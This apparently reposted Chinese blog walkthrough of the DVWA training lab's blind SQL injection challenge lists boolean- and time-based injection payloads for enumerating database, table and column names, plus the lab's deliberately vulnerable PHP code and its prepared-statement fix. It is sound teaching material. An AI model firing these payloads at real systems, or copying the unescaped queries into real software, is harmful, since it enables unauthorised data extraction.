DVWA学习(四)SQL Injection(Blind)

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
•基于布尔SQL盲注

•基于时间的SQL盲注

•基于报错的SQL盲注
构造payload让信息通过错误提示回显出来

LOW级别

id=1-5显示User ID exists in the database.
id=1'或者大于5显示User ID is MISSING from the database
id=1' or 1='1显示User ID exists in the database.
id=1 or 1=1显示User ID exists in the database.
id=1' and '1'='0显示User ID is MISSING from the database.
id=1' and '1'='1显示User ID exists in the database.
id=1 and 1=0显示User ID exists in the database.
可以判断为单引号闭合

1.对ascii值爆破的方法:
输入1’ and length(database())=4 %23,显示存在,所以数据库名为4个字符长度。
id=1' and if(ascii(substr((select database()),1,1))=100,1,0)%23&Submit=Submit显示User ID exists in the database.说明数据库名第一个字母ascii为100,即d。同理可以知道数据库名为dvwa。

表的数量

id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23  显示不存在

id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 %23  显示存在

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 %23
显示User ID exists in the database.说明第一个数据表的第一个字母ascii为103,同理可以得到这个表的名字和下一个表users的名字。
2.手动二分法猜解
库名

id=1' and ascii(substr(databse(),1,1))>97 %23 ,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

id=1' and ascii(substr(databse(),1,1))<122 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

id=1' and ascii(substr(databse(),1,1))<109 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

id=1' and ascii(substr(databse(),1,1))<103 %23 ,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

id=1' and ascii(substr(databse(),1,1))<100 %23 ,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

id=1' and ascii(substr(databse(),1,1))>100 %23 ,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

表名

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 %23 显示存在

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 %23 显示存在

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 %23 显示存在

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 %23  显示不存在

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 %23 显示不存在

3.基于时间的盲注
id=1' and sleep(5)%23 有延迟
id=1 and sleep(5)%23 没有延迟
说明存在字符型的基于时间的盲注。

猜数据库名的长度

id=1' and if(length(database())=1,sleep(5),1)%23没有延迟
id=1' and if(length(database())=4,sleep(5),1)%23有延迟

说明库名长度为4
二分法猜解库名

id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)%23有延迟
···
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

库名第一个字母ascii为100
同理可以猜出表的个数 长度 名字以及列和数据。

源码:

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?> 

根据源码,发现id没有经过任何过滤就被放入sql语句。如果查询返回的结果数大于0就显示<pre>User ID exists in the database.</pre>,否则<pre>User ID is MISSING from the database.</pre>

Medium难度

变成了下拉选项,查看源码参数名为id且为post方式。hackbar或者burp抓包改参数即可
《DVWA学习(四)SQL Injection(Blind)》 图片.png

id=1′ and 1=1报错
id=1 and 1=1正确
id=1 and 1=0报错
说明为数字型。

其余方法和low难度大同小异
布尔盲注:

id=1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

id=1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

时间盲注:

id=1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

id=1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

源码:

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}
?> 

与low难度相比多了一个mysqli_real_escape_string函数转义,但是这里的参数是数字型,不需要单引号双引号去闭合,加不加这个函数效果一样。

High难度

在另外一个页面填写参数结果显示到该页面。
《DVWA学习(四)SQL Injection(Blind)》 图片.png

id=1' and 1=1#正确
id=1' and 1=0#错误
id=1 and 1=1#正确
id=1 and 1=0#正确
所以是单引号闭合

另外有时候显示错误的时候,页面会延迟一会。
所以智能用布尔盲注。方法与前两个难度大同小异。
源码:

 <?php
if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

用COOKIE传递参数id,并且没有任何过滤,SQL语句后面加了一个limit 1限制返回的结果数为1。
另外如果查询的结果数<=0

 if( rand( 0, 5 ) == 3 )
 {
     sleep( rand( 2, 4 ) );
 }

该代码的意思是,在0-5随机生成一个随机整数数,如果该随机数等于3,就执行sleep(2,4)随机延迟2到4秒。所以不能用时间盲注,只能用布尔盲注。不过如果把时间盲注响应时间延长一点也是可以判断的,但是会很麻烦

Impossible难度

源码:

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?> 

加入token机制防止CSRF,仍然使用PDO预处理语句划清了数据与代码的界限,杜绝了SQL注入。

参考文献:新手指南:DVWA-1.9全级别教程之SQL Injection(Blind)

    原文作者:Smi1e_
    原文地址: https://www.jianshu.com/p/1366f6def0a1
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞